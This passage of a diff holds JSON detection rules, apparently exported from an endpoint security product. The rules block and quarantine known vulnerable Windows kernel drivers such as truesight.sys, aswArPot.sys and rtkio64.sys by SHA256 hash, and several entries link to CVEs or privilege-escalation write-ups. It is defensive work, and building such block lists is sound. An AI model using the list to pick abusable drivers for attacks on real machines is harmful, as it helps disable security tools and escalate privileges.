+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c21ccb4a-ec32-5d38-9c87-89109f08d8c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827236Z",
+  "creation_date": "2026-03-23T11:45:30.827238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87cf6d683238be3246dac8aae352d0ca5197eba5493a98357f32efd954cdd20e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c22b46e8-3414-5573-8256-da6bc14de01d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981839Z",
+  "creation_date": "2026-03-23T11:45:29.981841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0de4247e72d378713bcf22d5c5d3874d079203bb4364e25f67a90d5570bdcce8",
+  "comment": "Vulnerable Kernel Driver (aka TestBone.sys) [https://www.loldrivers.io/drivers/be4843ef-a2a8-4a0d-91c6-42e165800bb0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2367434-8e90-5aae-8bec-da2d78f0a4f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500309Z",
+  "creation_date": "2026-03-23T11:45:31.500312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7041b742a7332c981f9ad28f3e9c11ef4667ab64242c5e8f3af589ed454c6587",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c239d57c-1c0d-5638-bc7f-7bd9ad989ced",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612457Z",
+  "creation_date": "2026-03-23T11:45:29.612459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e777b95e5432b2a7f43d515c7e7a34d34abc530881c833765f634b2449a8910d",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c23bbf4a-80ae-5e1f-9a38-af08d5e865f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830095Z",
+  "creation_date": "2026-03-23T11:45:30.830097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b56b6cadbf270f86a937878e3383485bd473b81b5afca5561308fa34c6000ebc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c23bc317-3d1f-57fc-98e6-2dc419c756af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831091Z",
+  "creation_date": "2026-03-23T11:45:30.831093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831099Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7888b85212909ca68906d64a1f0c3ec48edb86e3b24f0f1545f6980f1c37cbca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c23f60cd-2c04-55dd-9bbc-e5a2547d4806",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616587Z",
+  "creation_date": "2026-03-23T11:45:29.616589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f487829527802983d5c120e3b99f3cf89333ca14f5e49ac32df0798cfb1f7aa",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c25927f1-2fc3-5b3b-b056-a27c01d21fb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968758Z",
+  "creation_date": "2026-03-23T11:45:29.968760Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968766Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8efe2cc534bf32fd7d5413005388125a2f449049c95437eae7c98584c403f67",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c266398c-aa31-51be-a0b2-ea7a10700c7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830789Z",
+  "creation_date": "2026-03-23T11:45:30.830791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b14d3075284ca8e7eba4a2b4dfe6ca26b5e31f753ac33b4934baaaece9b08cf4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c26f404f-841c-5484-874c-c6c5de02b153",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972789Z",
+  "creation_date": "2026-03-23T11:45:29.972791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "401ed2d2768707b5c47556774c119f989986a9e2fa88e1e2626f14e22b85e66b",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2742a95-ac6b-59a0-8f5f-fe5585efde08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453192Z",
+  "creation_date": "2026-03-23T11:45:30.453196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94c226a530dd3cd8d911901f702f3dab8200d1d4fdc73fcb269f7001f4e66915",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c28e38a4-5fa1-5eb8-8701-01e047946cac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619229Z",
+  "creation_date": "2026-03-23T11:45:29.619231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2b018f5-4749-598c-b84b-e4bdd71ef414",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815544Z",
+  "creation_date": "2026-03-23T11:45:31.815546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8f3e786fada6226e6765bdd85e1383feb276ba457f4874f5932c9e0ebc176ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2b46b68-33a6-50a4-99c9-d9e2365caabe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473543Z",
+  "creation_date": "2026-03-23T11:45:30.473546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "148ca220316fe9a0af2b12ed9528273295009d8568bf4c47fbfd4605f0ce2acc",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2b9de64-b7bc-59a9-9915-0696085e38ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476079Z",
+  "creation_date": "2026-03-23T11:45:30.476082Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f84f009704bc36f0e97c7be3de90648a5e7c21b4f870e4f210514d4418079a0",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2bc276f-7974-5c52-9b73-4eb008a89007",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144598Z",
+  "creation_date": "2026-03-23T11:45:31.144600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be14b834a7208b4bdfbd972430982b50271cf4eef50b73e36b1ba5f2d47eef3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2c57492-388f-561d-8779-989c2498c93e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458401Z",
+  "creation_date": "2026-03-23T11:45:30.458404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37b9fbd6547091b83b2595bb0f9f9035ae95111868a4393aab52bf22087233d7",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2c6548c-680e-5b35-9e53-db1ab90eac01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972891Z",
+  "creation_date": "2026-03-23T11:45:29.972892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2c77f36-8901-565b-9684-4b8747327f9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809365Z",
+  "creation_date": "2026-03-23T11:45:31.809368Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809377Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72ed058bd82712b99fc7f4be1d1d21e2bebb3e00bfa02f6decd88b0a355bbd3d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2d2eef3-9c16-5345-968b-2828e6108998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827402Z",
+  "creation_date": "2026-03-23T11:45:31.827404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b64ad2118cbfab21d5033127e54c554abcf83d831bf1b838fbce813a0611b72",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2ec77ed-0df3-517a-ad26-28ce94297c62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824138Z",
+  "creation_date": "2026-03-23T11:45:30.824141Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbefbb040e8596db4da7450d5823d8708493c1328a57202e86d21b72f7d14eab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2f7b5c9-43b5-5f42-b385-58330df686d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479912Z",
+  "creation_date": "2026-03-23T11:45:31.479916Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43483edb6a5f8b94df4660b0b7e907d7e9d6aa64de8999c17181e87d58203571",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c2f92672-4708-5db3-8d59-4b34fad11fe0",
+  "test_maturity_current_count": 0,
